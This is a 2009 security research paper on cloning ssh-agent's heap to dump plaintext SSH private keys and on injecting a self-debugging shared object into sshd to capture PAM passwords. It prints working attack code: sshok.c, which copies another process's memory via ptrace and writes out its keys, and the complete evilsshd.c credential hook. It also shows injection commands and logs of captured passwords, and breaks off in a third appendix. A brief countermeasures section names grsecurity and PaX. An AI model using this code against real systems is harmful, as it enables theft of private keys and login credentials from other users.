

Adventures in Heap Cloning

simplifying the access of complex foreign runtime data structures

stealth [at] openwall net

November 15, 2009

Abstract

A lot of processes carry important data which must not be revealed to other processes. That's actually why process separation on multiuser systems exist. One such good example is the *ssh-agent* process which keeps plaintext cryptographic keys for remote authentication in its heap. They compose of complex data structures like linked lists and bit-fields not handy for easy and immediate access by attacking processes.

Search engine tag: SET-heap-cloning-2009.

1 Introduction

There has been a long history in tools hunting for sensible data stored inside other processes memory. Common targets for such attacks are the *ssh-agent*, the *sshd* daemon itself or any other process storing credential information in plaintext. The important thing to note is that while all the information is stored on disk encrypted, it is kept unencrypted in memory. If the use of keyboard or pty loggers is not possible or feasible for an attacker he has to somehow access the target process memory directly.

The author knows numerous ways to do this, ranging from loadable kernel modules to the analyzation of forced core dumps. However there's a much easier way which allows to use all the common API's for dumping keys if the key structures are available. The goal is to transfer these structures into the attacker's address space.

I want to stress that I am not uncovering security holes or alike in *ssh-agent* or underlying operating environment. In fact, the program correctly uses `prctl()` to make itself untraceable for other instances of the same user.

Indeed, there is no other way than to keep sensible information in plaintext inside memory, for example if authenticating against *sshd* with passwords.

In this paper I focus on a common Linux x86_64 OpenSSH 5.2 setup. Other OpenSSH [1] versions have also been tested and confirmed to work. The provided source code has been demonstrated to work on default openSUSE 11.1 and Fedora11 installations (x86_64).

Additionally to Heap Cloning another method is discussed. Heap Tracking. This allows to track the occurrences of valuable information inside the heap. For all attacks, implementations are shown.

2 A ssh-agent session

A simple ssh session involving *ssh-agent* typically looks as follows:

```
[root@locus sshok]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
56:3c:9d:e1:19:55:6a:dc:ed:ed:ca:14:28:9c:d1:13 root@locus
The key's randormart image is:
+---[ RSA 2048 ]-----+
|
|   E...|
|  . + B o.|
|   = B + o|
|  o + + ..|
|   S + . . o|
|  . . . o|
|   . . .|
|   o .|
|   o|
|
+-----+
[root@locus sshok]#
```

Since all attacks need to be done as root and it is a test setup anyway, I oversimplify things and do all steps as root, including the generation of a SSH key used for RSA authentication. The *ssh-agent* is then started which creates a UNIX socket used to load keys into the agent. We use this unique pathname later to find fixed addresses in *ssh-agent*'s heap:

```
[root@locus sshok]# ssh-agent
SSH_AUTH_SOCK=/tmp/ssh-MakXVV2354/agent.2354; export SSH_AUTH_SOCK;
SSH_AGENT_PID=2355; export SSH_AGENT_PID;
echo Agent pid 2355;
[root@locus sshok]# SSH_AUTH_SOCK=/tmp/ssh-MakXVV2354/agent.2354;\
export SSH_AUTH_SOCK;
[root@locus sshok]# SSH_AGENT_PID=2355; export SSH_AGENT_PID;
```

3 Cloning the Heap

Once it is running, the generated key can be loaded. The key is then inside *ssh-agent*'s heap in plaintext. Unlike the key stored in */root/.ssh/id_rsa* on disk:

```
[root@locus sshok]# ssh-add /root/.ssh/id_rsa
[...entering passphrase...]
Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)
[root@locus sshok]# ps aux|grep ssh-agent
root 2355 0.0 0.1 54420 764 ? Ss 11:43 0:00 ssh-agent
root 5137 0.0 0.1 89004 776 pts/1 S+ 16:47 0:00 grep ssh-agent
[root@locus sshok]# tail -7 /proc/2355/maps
7f18d2358000-7f18d2371000 r-xp 00000000 08:07 836457 /usr/bin/ssh-agent
7f18d2571000-7f18d2572000 rw-p 00019000 08:07 836457 /usr/bin/ssh-agent
7f18d2572000-7f18d2574000 rw-p 7f18d2572000 00:00 0
7f18d38fd000-7f18d391e000 rw-p 7f18d38fd000 00:00 0 [heap]
7ffffda35b000-7ffffda370000 rw-p 7ffffdfe000 00:00 0 [stack]
7ffffda3ff000-7ffffda400000 r-xp 7ffffda3ff000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
[root@locus sshok]#
```

We see the *ssh-agent* running with PID 2355. The mapping shows the ELF binaries `.text/.rodata`, `.data/.bss` and heap mapping at the address `0x7f18d2358000 - 0x7f18d2371000`, `0x7f18d2571000 - 0x7f18d2574000` and `0x7f18d38fd000 - 0x7f18d38fe000` respectively. *ssh-agent* is using the *OpenSSL* [2] crypto library to handle its cryptographic data, hence the internal data structures holding the key are well known. Excerpt from *ssh-agent* code:

```
[...]
struct Key {
    int     type;
    int     flags;
    RSA     *rsa;
    DSA     *dsa;
};

[...]

typedef struct identity {
    TAILQ_ENTRY(identity) next;
    struct Key *key;
    char *comment;
    u_int death;
    u_int confirm;
} Identity;

typedef struct {
    int nentries;
    TAILQ_HEAD(idqueue, identity) idlist;
} Idtab;

Idtab idtable[3];

int max_fd = 0;

pid_t parent_pid = -1;

char socket_name[MAXPATHLEN];
char socket_dir[MAXPATHLEN];
[...]
```

If the `idtable` array, actually holding the key material, would belong to attacker's address space as well as *OpenSSL*'s internal structures at runtime needed to form the RSA or DSA keys, he could just easily call the `PEM_write_RSAPrivateKey()` or `PEM_write_DSAPrivateKey()` *OpenSSL* function, dumping the private keys. Nothing easier than that! Since the needed address mappings can be found inside the `proc map` file, a series of `mmap()/ptrace(PEEK_TEXT)` calls will transfer *ssh-agent*'s `.data`, `.bss` and heap to the attacker process. `.text` and

.rodata could be transferred too but are not needed, except for very custom binaries which include back-referencing jump tables or such. The attacker can mmap() zero pages of exact location and length as seen in *ssh-agent*'s maps and fill them with exactly the same data, keeping all arrays, linked lists etc. intact. He just needs to ensure that the mappings of his own ELF process don't collide with the ones of the target process which is easily to achieve:

```
cc -c -Wall sshok.c -O2
cc -Wl,-Tbss=0x1000 -Wl,-Tdata=0x2000 -Wl,-Ttext=0x3000 sshok.o -lssl
```

The attacker was *cloning the heap*. Then he just needs to find a fix point to find the cloned idtable and make his own RSA/DSA key structures point to them on which he can call the dump-key functions from the *OpenSSL* library. There, the unique path from the agent-session comes to play. Once found in the cloned heap the attacker can calculate where his own idtable needs to point to. This may involve some brute-forcing in a very small range in order to respect different compile-time options/alignment etc. but this could easily be done by forking and trapping segfaults:

```
[root@locus sshok]# ./sshok -p 2355
Found addr 0x7f18d2571000
Found addr 0x7f18d2572000
Found addr 0x7f18d38fd000
Found socket name /tmp/ssh-MakXVV2354/agent.2354 (0x7f18d2571da0)
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAWLoyKV8EgLNb1EVKenvV+RHsydfoXY6WkssbqClc3FaYRXsZ
KJ1wpRdV0dcrU9/AZf11aVBCCVkw2J+xLvbKOsJgIpsmZSPeIDCJ0HVwplndI634
6EFmSwJR4XwwAqOIEIgg69VYcmLkD4Z3vd2ymnn+/BG7Nw5Z4Mvpr/aBDEsFihkL
[...]
SFHgG0K2R9Xu4PpcUc/kgg+C5viTqP6bFNesUs+5fZwY01LF1M5lyGbf70UHWw8
UfxZSIP3K873KGf1E3BbnqDoOpjsNdhC8iQwKXU6HT+/NgsBCA==
-----END RSA PRIVATE KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAWLoyKV8EgLNb1EVKenvV+RHsydfoXY6WkssbqClc3FaYRXsZ
KJ1wpRdV0dcrU9/AZf11aVBCCVkw2J+xLvbKOsJgIpsmZSPeIDCJ0HVwplndI634
6EFmSwJR4XwwAqOIEIgg69VYcmLkD4Z3vd2ymnn+/BG7Nw5Z4Mvpr/aBDEsFihkL
[...]
SFHgG0K2R9Xu4PpcUc/kgg+C5viTqP6bFNesUs+5fZwY01LF1M5lyGbf70UHWw8
UfxZSIP3K873KGf1E3BbnqDoOpjsNdhC8iQwKXU6HT+/NgsBCA==
-----END RSA PRIVATE KEY-----
[root@locus sshok]#
```

The key is dumped more than once because more than one offset was possible without causing a segfault. A couple of page fault messages will appear inside the *dmesg* because of the (small amount of) brute force. A *sshok* implementation can be found at [5] or in Appendix A.1.

4 Heap Tracking via self-debugging

Sometimes its not feasible for an attacker to capture all the heap data and to obtain the important data from it. Classic example is the *sshd* process which at some point in time holds important plain text data such as a password. The time-frame when this data appears in the target heap is unknown to the attacker. It happens when someone logs in which could happen in 10 seconds from now or in 10 months. In other words it would be pointless to heap-clone *sshd* and hope to find something. Rather it would be good to add some tracking mechanism to the target process to notice at which time the interesting data will appear.

This technique is not new, it has been demonstrated in Phrack 59 [3] by an anonymous author. I want to make clear that this anonymous author is not the author of this paper. The tool named *ssh-fucker* hooked functions important for authentication, logging all sensible data. Since simply re-implementing the *ssh-fucker* for current glibc versions is not challenging, a new technique to obtain the data has been developed, re-using already existing tools such as *injectso* [6]. Driving the attack is then as easy as injecting a dynamically shared object into *sshd*. In order for the attack to work, *sshd* has to be invoked with an option that forbids re-execution:

```
linux-dlin:~/event # cat /etc/sysconfig/ssh
## Path: Network/Remote access/SSH
## Description: SSH server settings
## Type: string
## Default: ""
## ServiceRestart: sshd
#
# Options for sshd
#
SSHD_OPTS="-r"
linux-dlin:~/event # ps aux|grep sshd
root    5050  0.0  0.2  51736  1172 ?        Ss   19:09   0:00 /usr/sbin/sshd -r -o PidFile=/var/run/sshd.init.pid
root    5053  0.0  0.1   4312   736 tty1    S+   19:10   0:00 grep sshd
```

By default, *sshd* would re-execute itself upon a new connection which would abandon all previous code injects.

As functions and data-structures to be tracked, PAM has been chosen since all of today's authentication will mostly rely on PAM [4]. The basic idea for *self-debugging* is as follows:

- Register a SIGTRAP signal handler with the SA_SIGINFO flag specified, so all traps generated will put the *sshd* process into the debugging mode with all registers/flags passed as an argument structure to the signal handler.
- Insert a `int3` instruction at a function known to be called when authentication starts. `pam_set_item()` has been chosen because its first argument is a pointer to a structure known to hold important data. In order to modify the code, the page-protections have to be modified to be writable.
- Implement a Finite State Machine (FSM) inside the debugging signal handler that dynamically traps/restores function entry-points so that it can *track the heap* until the final trap occurs when username and password are available inside the heap, no matter whether plaintext data is zeroed out by the process.

```
linux-dlin:~/event # gcc -fPIC -shared -nostartfiles evilsshd.c -o self-trap-example.so
linux-dlin:~/event # ./inject 5050 ./self-trap-example.so
Trying to obtain __libc_dlopen_mode() address relative to libc start address.
[1] Using my own __libc_dlopen_mode ...
success!
me: {__libc_dlopen_mode:0x7f6ddb561660, dlopen_offset:0x109660}
=> daemon: {__libc_dlopen_mode:0x7fa9e1741660, libc:0x7fa9e1638000}
64bit mode
Using normalized path '/root/event/self-trap-example.so' for injection.
rdi=0x5  rsp=0x7fff04a0d338  rip=0x7fa9e17045f3
rdi=0x0  rsp=0x7fff04a0d340  rip=0x0
done.
```

After inserting the debugging mechanism into *sshd* and logging in, one time as root and one time as user, the following log appears:

```
linux-dlin:~/event # cat /tmp/hooklog
initial hooking: pid=5276 addr=0x7f34eb57fa00 done
TRAP@ 7f34eb57fa01
TRAP1: loaded PAM modules: pam_nologin
TRAP1: loaded PAM modules: pam_env
TRAP1: loaded PAM modules: pam_unix2
TRAP@ 7f34e7e06331
TRAP2: hooking strdup() user=root
TRAP@ 7f34e92c3271
TRAP3: credentials: user=root pwd=jeheim
TRAP@ 7f34eb57fa01
TRAP1: loaded PAM modules: pam_nologin
TRAP1: loaded PAM modules: pam_env
TRAP1: loaded PAM modules: pam_unix2
TRAP@ 7f34e7e06331
TRAP2: hooking strdup() user=stealth
TRAP@ 7f34e92c3271
TRAP3: credentials: user=stealth pwd=geheim
linux-dlin:~/event #
```

An implementation can be found inside the *injectso* package [6] or in Appendix A.2. Why multiple logins are also logged, even when all traps have been removed after writing out the log is left as an exercise to the reader :-)

5 Self Debugging without modifying the target code

So far, inserting debugging hooks into foreign code is nothing really new. Even though forcing a target processes to dynamically debug itself is not widely known, we go one step further.

You might have noticed that *evilsshd.c* is not working on confined processes such as on Fedora 11. Their targeted *SELinux* [8] policy forbids to change the page-flags to be writable and executable at the same time. It also forbids to make it writable, modify and make it executable again since it would require re-allocation. The author also tried to unmap the desired page, but it was then not possible to map it executable again since executable mappings have to come from certain paths such as */lib64* which *sshd* is not allowed to write to. After wasting a lot of time with the page protections, I decided to use a technique I already developed for myself a few years ago. It does not modify the code to trap functions but just removed the `PROT_EXEC` protection from the page. When the process is calling a function inside that page, a `SIGSEGV` (page fault) will be generated.

The self-debugging is now somewhat different from above and basically consists of the following steps:

- Register a SIGSEGV signal handler with the SA_SIGINFO flag specified, so all faults generated will put the *sshd* process into the debugging mode with all registers/flags passed as an argument structure to the signal handler.
- To restore from the fault, the page protection has just to be made executable again.
- If a function which is inside the same page as the function being hooked is causing the fault, temporarily make the page executable again, but define an return address for the function that will cause another fault at a magic address, lets say 0x73507350. Save the real return address for later use.
- If a fault happens at the magic address: The false-trapped function has left the page, so make it non-executable again and redirect the return to the address we saved.
- Keep in mind that the page protections are shared across `fork()`'s since no content is modified.
- Faults where a function is causing the fault which crosses page boundaries into a non-executable page have not been found in the setup.
- The technique will not work on multi-threaded targets.

An implementation can be found inside the *injectso* package [6] or in Appendix A.3.

The log-file after a user logging in could look like:

```
[3417] TRAP@ 0x7f2b68e29c00
[3417] TRAP1: loaded PAM modules: pam_sepermit
[3417] TRAP1: loaded PAM modules: pam_env
[3417] TRAP1: loaded PAM modules: pam_fprintd
[3417] TRAP1: loaded PAM modules: pam_unix
[3417] TRAP@ 0x7f2b63ba70a0
[3417] TRAP2: hooking strdup() user=stealth
[3417] TRAP@ 0x7f2b668ca400
[3417] wrong hit at 0x7f2b668ca400, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b63ba9092)
[3417] TRAP@ 0x7f2b668ca5d0
[3417] wrong hit at 0x7f2b668ca5d0, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b63ba90ab)
[3417] TRAP@ 0x7f2b668ca400
[3417] wrong hit at 0x7f2b668ca400, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b63ba9092)
[3417] TRAP@ 0x7f2b668ca5d0
[3417] wrong hit at 0x7f2b668ca5d0, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b63ba90ab)
[... ]
[3417] wrong hit at 0x7f2b668ca400, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b66879108)
[3417] TRAP@ 0x7f2b668ca400
[3417] wrong hit at 0x7f2b668ca400, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b66879160)
[3417] TRAP@ 0x7f2b668ca150
[3417] TRAP3: credentials: user=stealth pwd=geheim
```

6 Countermeasures

The author has learned from the maintainer of the *grsecurity* [7] project that their confinement and the *PaX* patch inside *grsecurity* will prevent all the attacks described above, since the use of `ptrace()` is only allowed to child processes as well as *PaX* sending a `SIGKILL` instead of a `SIGSEGV` signal to processes trying to execute code inside NX pages. A `SIGKILL` signal cannot be trapped like a `SIGSEGV`. These shortcomings will be addressed in a different paper.

7 Acknowledgments

This research was sponsored by the German Research Institute for Network and Software Structures (GRINSS).

GRINSS

References

- [1] The OpenSSH project:
<http://openssh.org>
- [2] The OpenSSL project:
<http://openssl.org>
- [3] ssh fucker:
<http://www.phrack.org/issues.html?issue=59&id=8&mode=txt>
- [4] Pluggable Authentication Modules (PAM):
<http://www.kernel.org/pub/linux/libs/pam/>
- [5] sshok:
<http://stealth.openwall.net/local/sshok-0.2.tgz>
- [6] injectso:
<http://stealth.openwall.net/local/injectso-0.45.tgz>
- [7] The grsecurity project:
<http://www.grsecurity.net/>
- [8] Security Enhanced Linux (SELinux):
<http://www.nsa.gov/research/selinux/>

8 Appendix A.1

sshok.c:

```

1 /*
2  * Copyright (C) 2007-2009 Stealth.
3  * All rights reserved.
4  *
5  * This is NOT a common BSD license, so read on.
6  *
7  * Redistribution in source and use in binary forms, with or without
8  * modification, are permitted provided that the following conditions
9  * are met:
10 *
11 * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not
12 * use this software or parts of it to commit crime or any illegal
13 * activities. Local law may forbid usage or redistribution of this
14 * software in your country.
15 * 2. Redistributions of source code must retain the above copyright
16 * notice, this list of conditions and the following disclaimer.
17 * 3. Redistribution in binary form is not allowed.
18 * 4. All advertising materials mentioning features or use of this software
19 * must display the following acknowledgement:
20 *   This product includes software developed by Stealth.
21 * 5. The name Stealth may not be used to endorse or promote
22 * products derived from this software without specific prior written
23 * permission.
24 *
25 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
26 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
27 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
28 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
29 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
30 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
31 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
32 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
33 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
34 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
35 * SUCH DAMAGE.
36 */
37 #include <stdio.h>
38 #include <stdlib.h>
39 #include <errno.h>
40 #include <unistd.h>
41 #include <fcntl.h>
42 #include <string.h>
43 #include <sys/mman.h>
44 #include <sys/ptrace.h>
45 #include <sys/types.h>
46 #include <sys/time.h>
47 #include <sys/resource.h>
48 #include <sys/wait.h>
49 #include <openssl/dsa.h>
50 #include <openssl/rsa.h>
51 #include <openssl/pem.h>
52 #define TAILQ_HEAD(name, type) \
53 struct name { \
54     struct type *tqh_first; /* first element */ \
55     struct type **tqh_last; /* addr of last next element */ \
56 }
57 #define TAILQ_FIRST(head) ((head)->tqh_first)
58 #define TAILQ_END(head) NULL
59 #define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next)
60 #define TAILQ_LAST(head, headname) \
61     (((struct headname *) (head)->tqh_last)->tqh_last)
62 #define TAILQ_PREV(elm, headname, field) \
63     (((struct headname *) (elm)->field.tqe_prev)->tqh_last)
64 #define TAILQ_EMPTY(head) \
65     (TAILQ_FIRST(head) == TAILQ_END(head))
66 #define TAILQ_FOREACH(var, head, field) \
67     for((var) = TAILQ_FIRST(head); \
68        (var) != TAILQ_END(head); \
69        (var) = TAILQ_NEXT(var, field))
70 #define TAILQ_ENTRY(type) \
71 struct { \
72     struct type *tqe_next; /* next element */ \
73     struct type **tqe_prev; /* address of previous next element */ \
74 }

```



```

144             die("mmap");

145             for (;addr1 < addr2; addr1 += sizeof(long)) {
146                 l = ptrace(PTRACE_PEEKTEXT, pid, (void *)addr1, 0, 0);
147                 *(unsigned long *)addr1 = l;
148             }
149         }

150     ptrace(PTRACE_DETACH, pid, 0, 0);
151     fclose(f);
152     return 0;
153 }

154 void dump_keys(char *ptr, size_t len)
155 {
156     int i = 0, status = 0;
157     Identity *id;

158     for (i = 0; i < len; ++i) {
159         if (memcmp(ptr, "/tmp/ssh-", 9) == 0 && strpbrk(ptr, "agent"))
160             break;
161         ++ptr;
162     }

163     if (i == len) {
164         printf("No socketname found.\n");
165         return;
166     }

167     printf("Found socket name %s (%p)\n", ptr, ptr);
168     fflush(stdout);

169     for (i = 0; i < 200; ++i) {
170         if (fork() == 0) {
171             ptr -= i;
172             memcpy(&idtable, ptr, sizeof(idtable));

173             // version 2 keys
174             Idtab *tab = &idtable[2];

175             TAILQ_FOREACH(id, &tab->idlist, next) {
176                 if (id->key->rsa)
177                     PEM_write_RSAPrivateKey(stdout, id->key->rsa, NULL, NULL, 0, NULL, NULL);
178                 else if (id->key->dsa)
179                     PEM_write_DSAPrivateKey(stdout, id->key->dsa, NULL, NULL, 0, NULL, NULL);
180             }

181             /* version 1 keys
182             tab = &idtable[1];

183             TAILQ_FOREACH(id, &tab->idlist, next) {
184                 if (id->key->rsa)
185                     PEM_write_RSAPrivateKey(stdout, id->key->rsa, NULL, NULL, 0, NULL, NULL);
186                 }*/

187             exit(1);
188         } else {
189             wait4(-1, &status, 0, NULL);
190         }
191     }
192     return;
193 }

194 void usage()
195 {
196     printf("Usage: Do not use.\n");
197     exit(1);
198 }

199 int main(int argc, char **argv)
200 {
201     int c = 0;
202     pid_t pid = 0;
203     char *ptr = NULL;
204     size_t len = 0;

205     while ((c = getopt(argc, argv, "p:")) != -1) {
206         switch (c) {
207             case 'p':
208                 pid = atoi(optarg);
209                 break;
210             default:
211                 usage();
212         }

```

```
213     }  
  
214     if (!pid)  
215         usage();  
  
216     mirror_maps(pid, &ptr, &len);  
217     dump_keys(ptr, len);  
  
218     exit(0);  
219 }
```

GRONVS

9 Appendix A.2

evilsshd.c:

```

1 /*
2  * Copyright (C) 2007-2009 Stealth.
3  * All rights reserved.
4  *
5  * This is NOT a common BSD license, so read on.
6  *
7  * Redistribution in source and use in binary forms, with or without
8  * modification, are permitted provided that the following conditions
9  * are met:
10 *
11 * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not
12 * use this software or parts of it to commit crime or any illegal
13 * activities. Local law may forbid usage or redistribution of this
14 * software in your country.
15 * 2. Redistributions of source code must retain the above copyright
16 * notice, this list of conditions and the following disclaimer.
17 * 3. Redistribution in binary form is not allowed.
18 * 4. All advertising materials mentioning features or use of this software
19 * must display the following acknowledgement:
20 *     This product includes software developed by Stealth.
21 * 5. The name Stealth may not be used to endorse or promote
22 * products derived from this software without specific prior written
23 * permission.
24 *
25 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
26 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
27 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
28 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
29 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
30 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
31 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
32 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
33 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
34 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
35 * SUCH DAMAGE.
36 */

37 /* This code is part of the 'Adventures in Heap Cloning' research paper.
38 * If you find this code without the paper, search for
39 * SET-heap-cloning-2009 on the web.
40 */

41 #define _GNU_SOURCE
42 #include <stdio.h>
43 #include <stdlib.h>
44 #include <dlfcn.h>
45 #include <sys/mman.h>
46 #include <unistd.h>
47 #include <signal.h>
48 #include <string.h>
49 #include <security/pam_modules.h>
50 #include <link.h>
51 #include <ucontext.h>
52 #include <elf.h>
53 #include <sys/time.h>

54 // original bytes which we substitute by int3
55 static unsigned char orig[0x10];

56 // the functions which have been hooked
57 static unsigned char *hooks[0x10] = {0, 0};

58 static char *user = NULL;
59 static FILE *flog = NULL;

60 typedef enum { PAM_FALSE, PAM_TRUE } pam_boolean;

61 // all the PAM declarations must match EXACTLY the targets
62 // PAM version and structs. Otherwise, walking the pam
63 // handler lists etc. is likely to produce SIGSEGV
64 struct handler {
65     int handler_type_must_fail;
66     int (*func)(void *pamh, int flags, int argc, char **argv);
67     int actions[32];
68     /* set by authenticate, open_session, chauthtok(1st)
69     consumed by setcred, close_session, chauthtok(2nd) */
70     int cached_retval; int *cached_retval_p;
71     int argc;
72     char **argv;
73     struct handler *next;
74     char *mod_name;
75     int stack_level;
76 };

```

```

77 struct handlers {
78     struct handler *authenticate;
79     struct handler *setcred;
80     struct handler *acct_mgmt;
81     struct handler *open_session;
82     struct handler *close_session;
83     struct handler *chauthtok;
84 };

85 struct pam_handle {
86     char *authtok;
87     unsigned caller_is;
88     void *pam_conversation;
89     char *oldauthtok;
90     char *prompt;
91     char *service_name;
92     char *user;
93     char *rhost;
94     char *ruser;
95     char *tty;
96     char *xdisplay;
97     void *data, *env;
98     struct {
99         pam_boolean set;
100        unsigned int delay;
101        time_t begin;
102        void *delay_fn_ptr;
103    } fail_delay;
104    struct {
105        int namelen;
106        char *name;
107        int datalen;
108        char *data;
109    } xauth;
110    struct {
111        void *loaded_module;
112        int modules_allocated;
113        int modules_used;
114        int handlers_loaded;
115        struct handlers conf;
116        struct handlers other;
117    } handlers;
118 };

119 static void sigtrap(int x, siginfo_t *si, void *vp)
120 {
121     ucontext_t *uc = vp;
122     void *arg = NULL;
123     struct pam_handle *ph = NULL;
124     struct handler *mod = NULL;
125     unsigned char *aligned = NULL;

126 #ifdef __x86_64__
127     greg_t ip = uc->uc_mcontext.gregs[REG_RIP];
128     arg = (void *)uc->uc_mcontext.gregs[REG_RDI];
129 #else
130     // x86 is not working, I just show it to give an idea
131     greg_t ip = uc->uc_mcontext.gregs[REG_EIP];
132 #endif
133     fprintf(flog, "TRAP@ %zx\n", ip);

134     // this is a finite state machine (FSM), we trap ourself forward
135     // until we reach the final strdup() for the password
136     // If the FSM is left, all hooks are cleaned up in target process
137     // since the last state does not define new hooks
138     if (ip - 1 == (greg_t)hooks[0]) {
139         // restore original context
140         hooks[0][0] = orig[0];
141         uc->uc_mcontext.gregs[REG_RIP] = (greg_t)hooks[0];
142     }

143     ph = (struct pam_handle *)arg;
144     mod = ph->handlers.conf.authenticate;
145     do {
146         fprintf(flog, "TRAP1: loaded PAM modules: %s\n", mod->mod_name);
147         if (strstr(mod->mod_name, "pam_unix"))
148             break;
149     } while ((mod = mod->next) != NULL);

150     // hook pam authenticate function
151     if (mod != NULL) {
152         hooks[1] = (unsigned char *)mod->func;
153         aligned = (unsigned char *)(((size_t)hooks[1]) & ~4095);
154         if (mprotect(aligned, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) == 0) {
155             orig[1] = hooks[1][0];
156             hooks[1][0] = 0xcc;
157         }
158     }

```

```

157     }
158     } else if (ip - 1 == (greg_t)hooks[1]) {
159         // restore original context
160         hooks[1][0] = orig[1];
161         uc->uc_mcontext.gregs[REG_RIP] = (greg_t)hooks[1];

162         ph = (struct pam_handle *)arg;
163         fprintf(flog, "TRAP2: hooking strdup() user=%s\n", ph->user);
164         user = strdup(ph->user);
165         // carefull to only hook after we used strdup() ourself
166         hooks[2] = dlsym(NULL, "strdup");
167         if (!hooks[2])
168             return;
169         aligned = (unsigned char *)(((size_t)hooks[2]) & ~4095);
170         if (mprotect(aligned, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) == 0) {
171             orig[2] = hooks[2][0];
172             hooks[2][0] = 0xcc;
173         }
174     } else if (ip - 1 == (greg_t)hooks[2]) {
175         // restore ...
176         hooks[2][0] = orig[2];
177         uc->uc_mcontext.gregs[REG_RIP] = (greg_t)hooks[2];

178         fprintf(flog, "TRAP3: credentials: user=%s pwd=%s\n", user, (char *)arg);
179     }

180     return;
181 }

182 void _init()
183 {
184     unsigned char *aligned = NULL;
185     struct sigaction sa;

186     if ((hooks[0] = dlsym(NULL, "pam_set_item")) == NULL)
187         return;

188     flog = fopen("/tmp/hooklog", "a");
189     if (!flog)
190         return;

191     setbuffer(flog, NULL, 0);

192     memset(&sa, 0, sizeof(sa));
193     sa.sa_sigaction = sigtrap;
194     sa.sa_flags = SA_RESTART|SA_SIGINFO;
195     sigaction(SIGTRAP, &sa, NULL);

196     aligned = (unsigned char *)(((size_t)hooks[0]) & ~4095);
197     if (mprotect(aligned, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) != 0)
198         return;

199     fprintf(flog, "initial hooking: pid=%d addr=%p ", getpid(), hooks[0]);

200     orig[0] = hooks[0][0];
201     hooks[0][0] = 0xcc;

202     fprintf(flog, "done\n");
203     return;
204 }

```


10 Appendix A.3

evilsshd-nx.c:

```

1 /*
2  * Copyright (C) 2007-2009 Stealth.
3  * All rights reserved.
4  *
5  * This is NOT a common BSD license, so read on.
6  *
7  * Redistribution in source and use in binary forms, with or without
8  * modification, are permitted provided that the following conditions
9  * are met:
10 *
11 * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not
12 * use this software or parts of it to commit crime or any illegal
13 * activities. Local law may forbid usage or redistribution of this
14 * software in your country.
15 * 2. Redistributions of source code must retain the above copyright
16 * notice, this list of conditions and the following disclaimer.
17 * 3. Redistribution in binary form is not allowed.
18 * 4. All advertising materials mentioning features or use of this software
19 * must display the following acknowledgement:
20 *     This product includes software developed by Stealth.
21 * 5. The name Stealth may not be used to endorse or promote
22 * products derived from this software without specific prior written
23 * permission.
24 *
25 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
26 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
27 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
28 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
29 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
30 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
31 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
32 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
